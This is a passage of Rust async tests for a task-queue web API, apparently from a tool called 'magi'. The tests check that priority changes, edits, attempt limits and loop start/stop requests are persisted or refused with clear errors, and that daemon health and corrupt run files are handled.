16864            q.put(&mut t).unwrap();
16865            for urgent in [true, false] {
16866                let response = f
16867                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16868                    .await;
16869                assert_eq!(response.status, 400, "{}", response.body);
16870                assert!(response.body.contains(status.as_str()));
16871                assert!(response.body.contains("queued or held"));
16872                assert!(!q.get(&t.id).unwrap().urgent);
16873            }
16874        }
16875        assert_eq!(
16876            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16877                .await
16878                .status,
16879            404
16880        );
16881    }
16882
16883    #[tokio::test]
16884    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16885        let f = Fixture::start().await;
16886        let queue = f.queue();
16887        let mut older = Task::new(
16888            "filed first".to_owned(),
16889            "x".to_owned(),
16890            PathBuf::from("/repo/magi"),
16891            Source::Human,
16892        );
16893        older.id = "20260101-000001-aaaa".to_owned();
16894        let mut newer = Task::new(
16895            "filed second".to_owned(),
16896            "x".to_owned(),
16897            PathBuf::from("/repo/magi"),
16898            Source::Human,
16899        );
16900        newer.id = "20260101-000002-bbbb".to_owned();
16901        queue.put(&mut older).expect("file older");
16902        queue.put(&mut newer).expect("file newer");
16903
16904        // Equal priority: the newer task leads, the same order the old
16905        // newest-first `list()` already gave every equal-priority queue.
16906        let before = f.get("/api/queue").await.json();
16907        assert_eq!(before[0]["id"], newer.id);
16908        assert_eq!(before[1]["id"], older.id);
16909
16910        // Raising the *older* task is the meaningful case: it can only lead
16911        // now because its priority says so, not because it happens to be
16912        // newest.
16913        let raised = f
16914            .post(
16915                &format!("/api/queue/{}/priority", older.id),
16916                Some(r#"{"priority":10}"#),
16917            )
16918            .await;
16919        assert_eq!(raised.status, 200, "{}", raised.body);
16920        assert_eq!(raised.json()["priority"], 10);
16921
16922        let after = f.get("/api/queue").await.json();
16923        let names: Vec<&str> = after
16924            .as_array()
16925            .unwrap()
16926            .iter()
16927            .map(|t| t["id"].as_str().unwrap())
16928            .collect();
16929        // Highest priority first, which is the order next_runnable and
16930        // `magi task list` both use - GET /api/queue must agree with it
16931        // immediately, not just once the loop claims the task.
16932        assert_eq!(names[0], older.id, "the raised task now sorts first");
16933    }
16934
16935    #[tokio::test]
16936    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16937        let dir = TempDir::new().unwrap();
16938        let q = Queue::at(dir.path().join("queue"));
16939        let ui = Arc::new(Ui::new(
16940            q.clone(),
16941            Questions::at(dir.path().join("questions")),
16942            Talks::at(dir.path().join("talks")),
16943            dir.path().join("runs"),
16944            dir.path().to_path_buf(),
16945            dir.path().to_path_buf(),
16946        ));
16947        let mut t = Task::new(
16948            "budget".into(),
16949            "keep".into(),
16950            dir.path().into(),
16951            Source::Human,
16952        );
16953        t.attempts = 2;
16954        t.runs.push("prior-run".into());
16955        t.hold_manual(Some("waiting".into()));
16956        q.put(&mut t).unwrap();
16957        let change = |value| {
16958            queue_attempt_limit(
16959                State(ui.clone()),
16960                Path(t.id.clone()),
16961                Ok(Json(AttemptLimitBody {
16962                    attempt_limit: value,
16963                })),
16964            )
16965        };
16966        for value in [
16967            serde_json::json!(3),
16968            serde_json::Value::Null,
16969            serde_json::json!(1),
16970        ] {
16971            let response = change(value.clone()).await.unwrap();
16972            assert_eq!(
16973                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16974                value
16975            );
16976            let saved = q.get(&t.id).unwrap();
16977            assert_eq!(
16978                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16979                value
16980            );
16981            assert_eq!(saved.status, TaskStatus::Held);
16982            assert_eq!(saved.attempts, t.attempts);
16983            assert_eq!(saved.runs, t.runs);
16984            assert_eq!(saved.hold_reason, t.hold_reason);
16985            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16986                .await
16987                .unwrap()
16988                .0;
16989            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16990            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16991            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16992            assert_eq!(outcome.max_attempts, detail.max_attempts);
16993        }
16994        for value in [
16995            serde_json::json!(0),
16996            serde_json::json!(-1),
16997            serde_json::json!(1.5),
16998            serde_json::json!("3"),
16999            serde_json::json!(true),
17000        ] {
17001            assert_eq!(
17002                change(value).await.err().unwrap().status,
17003                StatusCode::BAD_REQUEST
17004            );
17005        }
17006        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17007        let claim = q.claim(&t.id).unwrap();
17008        assert_eq!(
17009            change(serde_json::json!(4)).await.err().unwrap().status,
17010            StatusCode::CONFLICT
17011        );
17012        drop(claim);
17013        for status in [
17014            TaskStatus::Running,
17015            TaskStatus::Done,
17016            TaskStatus::Failed,
17017            TaskStatus::Blocked,
17018            TaskStatus::Parked,
17019        ] {
17020            let mut stored = q.get(&t.id).unwrap();
17021            stored.status = status;
17022            q.put(&mut stored).unwrap();
17023            assert_eq!(
17024                change(serde_json::json!(4)).await.err().unwrap().status,
17025                StatusCode::BAD_REQUEST
17026            );
17027            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17028        }
17029        let mut stored = q.get(&t.id).unwrap();
17030        stored.status = TaskStatus::Queued;
17031        q.put(&mut stored).unwrap();
17032        let _ = change(serde_json::Value::Null).await.unwrap();
17033        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17034    }
17035
17036    #[tokio::test]
17037    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17038        let dir = TempDir::new().unwrap();
17039        let repo = dir.path().join("repo");
17040        std::fs::create_dir(&repo).unwrap();
17041        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17042        let q = Queue::at(dir.path().join("queue"));
17043        let ui = Arc::new(Ui::new(
17044            q.clone(),
17045            Questions::at(dir.path().join("questions")),
17046            Talks::at(dir.path().join("talks")),
17047            dir.path().join("runs"),
17048            dir.path().to_path_buf(),
17049            repo.clone(),
17050        ));
17051        let mut t = Task::new(
17052            "seats".into(),
17053            "keep instruction".into(),
17054            repo,
17055            Source::Human,
17056        );
17057        t.runs.push("prior-run".into());
17058        t.hold_manual(Some("waiting".into()));
17059        q.put(&mut t).unwrap();
17060        let change = |count| {
17061            queue_implementers(
17062                State(ui.clone()),
17063                Path(t.id.clone()),
17064                Ok(Json(ImplementersBody {
17065                    implementers: count,
17066                })),
17067            )
17068        };
17069        for count in [2, 1, 2] {
17070            let response = change(count).await.unwrap();
17071            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17072            let saved = q.get(&t.id).unwrap();
17073            assert_eq!(saved.implementers(), Some(usize::from(count)));
17074            assert_eq!(saved.runs, t.runs);
17075            assert_eq!(saved.instruction, t.instruction);
17076        }
17077        for count in [0, 4] {
17078            assert_eq!(
17079                change(count).await.err().unwrap().status,
17080                StatusCode::BAD_REQUEST
17081            );
17082        }
17083        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17084        let claim = q.claim(&t.id).unwrap();
17085        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17086        drop(claim);
17087        for status in [
17088            TaskStatus::Running,
17089            TaskStatus::Done,
17090            TaskStatus::Failed,
17091            TaskStatus::Blocked,
17092            TaskStatus::Parked,
17093        ] {
17094            let mut stored = q.get(&t.id).unwrap();
17095            stored.status = status;
17096            q.put(&mut stored).unwrap();
17097            assert_eq!(
17098                change(1).await.err().unwrap().status,
17099                StatusCode::BAD_REQUEST
17100            );
17101            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17102        }
17103    }
17104
17105    #[tokio::test]
17106    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17107        let f = Fixture::start().await;
17108        let queue = f.queue();
17109        let mut task = Task::new(
17110            "in flight".to_owned(),
17111            "x".to_owned(),
17112            PathBuf::from("/repo/magi"),
17113            Source::Human,
17114        );
17115        task.start("20260902-140502-bbbb".to_owned());
17116        queue.put(&mut task).expect("file the task");
17117
17118        let res = f
17119            .post(
17120                &format!("/api/queue/{}/priority", task.id),
17121                Some(r#"{"priority":9}"#),
17122            )
17123            .await;
17124        assert_eq!(res.status, 400, "{}", res.body);
17125        assert!(
17126            res.json()["error"]
17127                .as_str()
17128                .is_some_and(|e| e.contains("running")),
17129            "{}",
17130            res.body
17131        );
17132        assert_eq!(
17133            queue.get(&task.id).expect("reload").priority,
17134            0,
17135            "the refused write must not partially apply"
17136        );
17137    }
17138
17139    #[tokio::test]
17140    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17141        let f = Fixture::start().await;
17142        let queue = f.queue();
17143        let mut task = Task::new(
17144            "old title".to_owned(),
17145            "old instruction".to_owned(),
17146            PathBuf::from("/repo/magi"),
17147            Source::Agent {
17148                run: "20260101-000000-beef".to_owned(),
17149                node: "implement".to_owned(),
17150            },
17151        );
17152        task.runs.push("20260101-000000-beef".to_owned());
17153        queue.put(&mut task).expect("file the task");
17154        let created_at = task.created_at;
17155
17156        let edited = f
17157            .post(
17158                &format!("/api/queue/{}/edit", task.id),
17159                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17160            )
17161            .await;
17162        assert_eq!(edited.status, 200, "{}", edited.body);
17163        let body = edited.json();
17164        assert_eq!(body["title"], "new title");
17165        assert_eq!(body["instruction"], "new instruction");
17166        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17167        assert_eq!(body["created_at"], created_at.to_string());
17168        assert_eq!(
17169            body["source"]["kind"], "agent",
17170            "editing a task an agent filed must not turn it human: {body}"
17171        );
17172        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17173
17174        let reloaded = queue.get(&task.id).expect("reload");
17175        assert_eq!(reloaded.title, "new title");
17176        assert_eq!(reloaded.instruction, "new instruction");
17177    }
17178
17179    #[tokio::test]
17180    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17181        // The judge is an agent now: a repo whose only agent answers
17182        // "duplicate" stands in for it, so the refusal is the judge's.
17183        let tmp = TempDir::new().expect("tempdir");
17184        let repo = tmp.path().join("repo");
17185        std::fs::create_dir_all(&repo).expect("repo dir");
17186        let judge = MOCK_AGENT_TOML.replace(
17187            "printf ok",
17188            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17189        );
17190        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17191        let f = Fixture::with_repo(repo.clone()).await;
17192        let queue = f.queue();
17193        let mut owner = Task::new(
17194            "owner".to_owned(),
17195            "review it".to_owned(),
17196            repo.clone(),
17197            Source::Human,
17198        );
17199        owner.review_branch = Some("magi/ab12/A".to_owned());
17200        queue.put(&mut owner).expect("file the owner");
17201        let mut task = Task::new(
17202            "draft".to_owned(),
17203            "old".to_owned(),
17204            repo.clone(),
17205            Source::Human,
17206        );
17207        queue.put(&mut task).expect("file the draft");
17208        let url = format!("/api/queue/{}/edit", task.id);
17209
17210        let refused = f
17211            .post(
17212                &url,
17213                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17214            )
17215            .await;
17216        assert_eq!(refused.status, 409, "{}", refused.body);
17217        let msg = refused.json()["error"]
17218            .as_str()
17219            .unwrap_or_default()
17220            .to_owned();
17221        assert!(
17222            msg.contains("magi/ab12/A") && msg.contains("force"),
17223            "{msg}"
17224        );
17225        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17226
17227        let forced = f
17228            .post(
17229                &url,
17230                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17231            )
17232            .await;
17233        assert_eq!(forced.status, 200, "{}", forced.body);
17234    }
17235
17236    #[tokio::test]
17237    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17238        let f = Fixture::start().await;
17239        let queue = f.queue();
17240        let mut task = Task::new(
17241            "in flight".to_owned(),
17242            "do not touch".to_owned(),
17243            PathBuf::from("/repo/magi"),
17244            Source::Human,
17245        );
17246        task.start("20260902-140502-bbbb".to_owned());
17247        queue.put(&mut task).expect("file the task");
17248
17249        let res = f
17250            .post(
17251                &format!("/api/queue/{}/edit", task.id),
17252                Some(r#"{"title":"x","instruction":"y"}"#),
17253            )
17254            .await;
17255        assert_eq!(res.status, 400, "{}", res.body);
17256        assert!(
17257            res.json()["error"]
17258                .as_str()
17259                .is_some_and(|e| e.contains("running")),
17260            "{}",
17261            res.body
17262        );
17263        assert_eq!(
17264            queue.get(&task.id).expect("reload").instruction,
17265            "do not touch",
17266            "the refused edit must not change the file"
17267        );
17268    }
17269
17270    #[tokio::test]
17271    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17272        let f = Fixture::start().await;
17273        let queue = f.queue();
17274        let mut task = Task::new(
17275            "busy".to_owned(),
17276            "Running right now".to_owned(),
17277            PathBuf::from("/repo/magi"),
17278            Source::Human,
17279        );
17280        queue.put(&mut task).expect("file the task");
17281        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17282
17283        let priority = f
17284            .post(
17285                &format!("/api/queue/{}/priority", task.id),
17286                Some(r#"{"priority":9}"#),
17287            )
17288            .await;
17289        assert_eq!(priority.status, 409, "{}", priority.body);
17290
17291        let edit = f
17292            .post(
17293                &format!("/api/queue/{}/edit", task.id),
17294                Some(r#"{"title":"x","instruction":"y"}"#),
17295            )
17296            .await;
17297        assert_eq!(edit.status, 409, "{}", edit.body);
17298    }
17299
17300    #[tokio::test]
17301    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17302        let f = Fixture::start().await;
17303        let queue = f.queue();
17304        let mut task = Task::new(
17305            "shipped by hand".to_owned(),
17306            "merged outside the loop".to_owned(),
17307            PathBuf::from("/repo/magi"),
17308            Source::Agent {
17309                run: "20260101-000000-b455".to_owned(),
17310                node: "implement".to_owned(),
17311            },
17312        );
17313        task.runs.push("20260101-000000-b455".to_owned());
17314        task.runs.push("20260101-000000-9af4".to_owned());
17315        queue.put(&mut task).expect("file the task");
17316        let created_at = task.created_at;
17317
17318        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17319        assert_eq!(done.status, 200, "{}", done.body);
17320        assert_eq!(done.json()["status_str"], "done");
17321
17322        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17323        assert_eq!(
17324            reloaded.runs,
17325            ["20260101-000000-b455", "20260101-000000-9af4"]
17326        );
17327        assert_eq!(
17328            reloaded.source,
17329            Source::Agent {
17330                run: "20260101-000000-b455".to_owned(),
17331                node: "implement".to_owned(),
17332            }
17333        );
17334        assert_eq!(reloaded.created_at, created_at);
17335    }
17336
17337    #[tokio::test]
17338    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17339        // `done` is allowed on any status, including `held`, with no release
17340        // in between - so a task held for a reason and then closed directly
17341        // must not keep reading as "waiting on" it afterwards, on its card or
17342        // in `magi task show`.
17343        let f = Fixture::start().await;
17344        let queue = f.queue();
17345        let mut task = Task::new(
17346            "landed while held".to_owned(),
17347            "x".to_owned(),
17348            PathBuf::from("/repo/magi"),
17349            Source::Human,
17350        );
17351        task.hold_manual(Some("waiting on 3ed9".to_owned()));
17352        queue.put(&mut task).expect("file the held task");
17353
17354        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17355        assert_eq!(done.status, 200, "{}", done.body);
17356        assert_eq!(done.json()["status_str"], "done");
17357        assert!(
17358            done.json()["hold_reason"].is_null(),
17359            "a done task cannot still be waiting on something: {}",
17360            done.body
17361        );
17362    }
17363
17364    #[tokio::test]
17365    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17366        // `queue_done` is the phone's way to close a task the loop never
17367        // settled itself - after confirming a manual GitHub merge, say - and
17368        // that is just as much "this task's story is over" as the loop's own
17369        // `Merged`/`Ready` path, so it must trigger the same cleanup.
17370        let f = Fixture::start().await;
17371        let queue = f.queue();
17372        let runs = f.runs();
17373        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17374        // The last attempt has to have actually landed for the earlier one
17375        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
17376        // for the case where it didn't.
17377        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17378
17379        let mut task = Task::new(
17380            "landed by hand".to_owned(),
17381            "x".to_owned(),
17382            PathBuf::from("/repo/magi"),
17383            Source::Human,
17384        );
17385        task.runs.push("20260101-000000-doa1".to_owned());
17386        task.runs.push("20260101-000000-doa2".to_owned());
17387        queue.put(&mut task).expect("file the task");
17388
17389        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17390        assert_eq!(done.status, 200, "{}", done.body);
17391
17392        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17393            .expect("run still on disk under this fixture's own home");
17394        assert_eq!(
17395            reloaded_run.status,
17396            RunStatus::Superseded,
17397            "closing the task by hand must relabel the earlier blocked attempt exactly \
17398             like the loop's own settle path does"
17399        );
17400    }
17401
17402    #[tokio::test]
17403    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17404        // Closing a task by hand is allowed from any status, including one
17405        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
17406        // manual merge the loop never watched, say. Nothing here is provably
17407        // why the task is done, so nothing earlier gets relabelled either.
17408        let f = Fixture::start().await;
17409        let queue = f.queue();
17410        let runs = f.runs();
17411        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17412        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17413
17414        let mut task = Task::new(
17415            "closed with nothing actually landed".to_owned(),
17416            "x".to_owned(),
17417            PathBuf::from("/repo/magi"),
17418            Source::Human,
17419        );
17420        task.runs.push("20260101-000000-dob1".to_owned());
17421        task.runs.push("20260101-000000-dob2".to_owned());
17422        queue.put(&mut task).expect("file the task");
17423
17424        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17425        assert_eq!(done.status, 200, "{}", done.body);
17426
17427        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17428            .expect("run still on disk under this fixture's own home");
17429        assert_eq!(
17430            reloaded_run.status,
17431            RunStatus::Blocked,
17432            "the last recorded attempt never landed, so the earlier one must not be \
17433             relabelled as superseded by it"
17434        );
17435    }
17436
17437    #[tokio::test]
17438    async fn unknown_ids_are_json_not_found_on_both_stores() {
17439        let f = Fixture::start().await;
17440
17441        let run = f.get("/api/runs/nosuchrun").await;
17442        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17443
17444        assert_eq!(run.status, 404);
17445        assert_eq!(task.status, 404);
17446        assert!(
17447            run.json()["error"]
17448                .as_str()
17449                .is_some_and(|e| e.contains("run")),
17450            "the error names what was not found: {}",
17451            run.body
17452        );
17453        assert!(
17454            task.json()["error"]
17455                .as_str()
17456                .is_some_and(|e| e.contains("task")),
17457            "the error names what was not found: {}",
17458            task.body
17459        );
17460    }
17461
17462    #[tokio::test]
17463    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17464        let f = Fixture::start().await;
17465
17466        let missing = f.get("/api/health").await.json();
17467        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17468
17469        write_daemon(
17470            f.home.path(),
17471            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17472        );
17473        let stale = f.get("/api/health").await.json();
17474        assert_eq!(
17475            stale["daemon"]["running"], false,
17476            "a minute without a heartbeat is a dead daemon, not a busy one"
17477        );
17478        assert!(
17479            stale["daemon"]["stale_for_secs"]
17480                .as_i64()
17481                .is_some_and(|s| s >= 55),
17482            "staleness is reported so the UI can say how long: {stale}"
17483        );
17484
17485        write_daemon(f.home.path(), Timestamp::now());
17486        let fresh = f.get("/api/health").await.json();
17487        assert_eq!(fresh["daemon"]["running"], true);
17488        assert_eq!(fresh["daemon"]["idle"], false);
17489        assert_eq!(fresh["daemon"]["pid"], 4242);
17490        assert_eq!(fresh["daemon"]["completed"], 7);
17491        assert_eq!(
17492            fresh["daemon"]["current"][0]["task"],
17493            "20260902-140501-aaaa"
17494        );
17495        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17496    }
17497
17498    #[tokio::test]
17499    async fn the_loop_is_not_running_until_something_starts_it() {
17500        let f = Fixture::start().await;
17501
17502        let view = f.get("/api/loop").await.json();
17503        assert_eq!(view["running"], false);
17504        assert_eq!(
17505            view["owned"], false,
17506            "nobody owns a loop that does not exist: {view}"
17507        );
17508        assert_eq!(view["stopping"], false);
17509        assert_eq!(view["last_error"], Value::Null);
17510        assert_eq!(view["daemon"]["running"], false);
17511        assert_eq!(
17512            view["repo"], "/repo/magi",
17513            "the repository a start would use, named before it is started"
17514        );
17515    }
17516
17517    #[tokio::test]
17518    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17519        let f = Fixture::start().await;
17520
17521        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17522        assert_eq!(res.status, 200, "{}", res.body);
17523        let view = res.json();
17524        assert_eq!(view["running"], true);
17525        assert_eq!(
17526            view["owned"], true,
17527            "the loop the UI started is the UI's own to stop: {view}"
17528        );
17529        assert_eq!(
17530            view["merge"],
17531            Value::Null,
17532            "no override was given, so each repository's own config decides"
17533        );
17534
17535        // The same object from the route a waking phone polls first. Two
17536        // surfaces disagreeing about whether anything is running is exactly
17537        // the confusion this UI exists to remove.
17538        let health = f.get("/api/health").await.json();
17539        assert_eq!(health["loop"]["running"], true, "{health}");
17540        assert_eq!(health["loop"]["owned"], true, "{health}");
17541
17542        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17543    }
17544
17545    #[tokio::test]
17546    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17547        let f = Fixture::start().await;
17548        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17549        assert_eq!(first.status, 200, "{}", first.body);
17550
17551        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17552        assert_eq!(
17553            again.status, 409,
17554            "two loops on one queue race for the same claims: {}",
17555            again.body
17556        );
17557        assert!(
17558            again.json()["error"]
17559                .as_str()
17560                .is_some_and(|e| e.contains("already running the loop")),
17561            "the refusal has to say why: {}",
17562            again.body
17563        );
17564        assert_eq!(
17565            f.get("/api/loop").await.json()["running"],
17566            true,
17567            "and the loop that was already running is untouched by it"
17568        );
17569
17570        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17571    }
17572
17573    #[tokio::test]
17574    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17575        let f = Fixture::start().await;
17576        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17577
17578        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17579        assert_eq!(
17580            res.status, 200,
17581            "the answer must not wait for the loop: a run in flight is tens of \
17582             minutes and the operator is holding a phone: {}",
17583            res.body
17584        );
17585
17586        let view = settled(&f, |v| v["running"] == false).await;
17587        assert_eq!(view["owned"], false);
17588        assert_eq!(
17589            view["stopping"], false,
17590            "a loop that has stopped is not still stopping: {view}"
17591        );
17592        assert_eq!(
17593            view["last_error"],
17594            Value::Null,
17595            "a loop that was asked to stop did not fail: {view}"
17596        );
17597
17598        // Idempotent, because the operator cannot tell a slow stop from a lost
17599        // one and will press it again.
17600        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17601        assert_eq!(twice.status, 200, "{}", twice.body);
17602    }
17603
17604    #[tokio::test]
17605    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17606        let f = Fixture::start().await;
17607        // How the operator has been doing it: a `magi serve` of their own,
17608        // heartbeat fresh, in the same home this UI reads.
17609        write_daemon(f.home.path(), Timestamp::now());
17610
17611        let view = f.get("/api/loop").await.json();
17612        assert_eq!(view["running"], false, "not in this process: {view}");
17613        assert_eq!(view["owned"], false, "and not this process's to control");
17614        assert_eq!(
17615            view["daemon"]["running"], true,
17616            "but a loop is alive somewhere, which is what the UI must say"
17617        );
17618        assert_eq!(view["daemon"]["pid"], 4242);
17619
17620        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17621            let res = f.post("/api/loop", Some(body)).await;
17622            assert_eq!(
17623                res.status, 409,
17624                "neither button may pretend to work on someone else's loop: {}",
17625                res.body
17626            );
17627            assert!(
17628                res.json()["error"]
17629                    .as_str()
17630                    .is_some_and(|e| e.contains("4242")),
17631                "the refusal has to name the process the operator must go to: {}",
17632                res.body
17633            );
17634        }
17635        assert_eq!(
17636            f.get("/api/loop").await.json()["running"],
17637            false,
17638            "and the refusal started nothing"
17639        );
17640    }
17641
17642    #[tokio::test]
17643    async fn a_stale_status_file_is_not_a_foreign_owner() {
17644        let f = Fixture::start().await;
17645        write_daemon(
17646            f.home.path(),
17647            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17648        );
17649
17650        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17651        assert_eq!(
17652            res.status, 200,
17653            "a daemon killed a minute ago must not lock the loop out of its \
17654             own home for good: {}",
17655            res.body
17656        );
17657        assert_eq!(res.json()["running"], true);
17658
17659        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17660    }
17661
17662    #[tokio::test]
17663    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17664        let f = Fixture::start().await;
17665        let before = f.get("/api/health").await.json()["loop_rev"]
17666            .as_u64()
17667            .expect("a loop revision");
17668
17669        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17670
17671        let after = f.get("/api/health").await.json()["loop_rev"]
17672            .as_u64()
17673            .expect("a loop revision");
17674        assert!(
17675            after > before,
17676            "the loop is in-process state, so this counter is the only thing \
17677             that tells a second device the first one started it: {before} -> \
17678             {after}"
17679        );
17680
17681        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17682    }
17683
17684    #[tokio::test]
17685    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17686        let f = Fixture::with_loop(launch_broken).await;
17687
17688        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17689        assert_eq!(
17690            res.status, 200,
17691            "starting it is not the failure: {}",
17692            res.body
17693        );
17694
17695        let view = settled(&f, |v| v["last_error"].is_string()).await;
17696        assert_eq!(
17697            view["running"], false,
17698            "a loop that died must not read as running, or the operator has \
17699             nothing to press: {view}"
17700        );
17701        assert_eq!(view["owned"], false);
17702        assert!(
17703            view["last_error"]
17704                .as_str()
17705                .is_some_and(|e| e.contains("read-only file system")),
17706            "the phone is where a loop that died at 3am is visible: {view}"
17707        );
17708
17709        // And it can be started again: the corpse was reaped, not left to
17710        // occupy the slot.
17711        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17712        assert_eq!(again.status, 200, "{}", again.body);
17713        assert!(
17714            again.json()["last_error"]
17715                .as_str()
17716                .is_none_or(|e| !e.contains("read-only file system")),
17717            "a fresh start does not keep showing why the last one died: {}",
17718            again.body
17719        );
17720    }
17721
17722    #[tokio::test]
17723    async fn a_newer_daemon_status_file_still_renders() {
17724        let f = Fixture::start().await;
17725        // A field this build has never heard of must not turn the status line
17726        // into a 500; that is the whole reason the reader is permissive.
17727        std::fs::write(
17728            f.home.path().join("daemon.json"),
17729            serde_json::json!({
17730                "schema": 2,
17731                "updated_at": Timestamp::now().to_string(),
17732                "idle": true,
17733                "surprise": { "nested": [1, 2, 3] },
17734            })
17735            .to_string(),
17736        )
17737        .expect("write daemon.json");
17738
17739        let health = f.get("/api/health").await;
17740
17741        assert_eq!(health.status, 200);
17742        assert_eq!(health.json()["daemon"]["running"], true);
17743    }
17744
17745    #[tokio::test]
17746    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17747        let f = Fixture::start().await;
17748        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17749        let broken = f.runs().join("20260902-140502-bad");
17750        std::fs::create_dir_all(&broken).expect("run dir");
17751        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17752
17753        let list = f.get("/api/runs").await;
17754        let detail = f.get("/api/runs/20260902-140502-bad").await;
17755
17756        assert_eq!(list.status, 200);
17757        let listed = list.json();
17758        let ids: Vec<&str> = listed
17759            .as_array()
17760            .expect("an array")
17761            .iter()
17762            .map(|r| r["id"].as_str().expect("an id"))
17763            .collect();
17764        assert_eq!(
17765            ids,
17766            vec!["20260902-140501-good"],
17767            "one unreadable run must not cost the operator the whole history"
17768        );
17769        assert_eq!(detail.status, 500);
17770        assert!(
17771            detail.json()["error"]
17772                .as_str()
17773                .is_some_and(|e| e.contains("run.json")),
17774            "the failure names the file to look at: {}",
17775            detail.body
17776        );
17777        // A skipped run has to be countable somewhere, or the UI shows an
17778        // empty history with nothing to explain it - which is exactly what a
17779        // directory full of older-schema runs looks like.
17780        let health = f.get("/api/health").await;
17781        assert_eq!(health.json()["runs_unreadable"], 1);
17782    }
17783
17784    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17785    #[tokio::test]
17786    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17787        let f = Fixture::start().await;
17788        let runs = f.runs();
17789        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17790        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17791        // Text three levels down, in a shape no current RunState has: an older
17792        // schema must still search.
17793        let path = runs.join("20260902-140502-bbbb").join("run.json");
17794        let mut v: serde_json::Value =
17795            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17796        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17797        std::fs::write(&path, v.to_string()).unwrap();
17798        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17799        std::fs::write(
17800            runs.join("20260902-140503-cccc").join("run.json"),
17801            "{ not json",
17802        )
17803        .unwrap();
17804
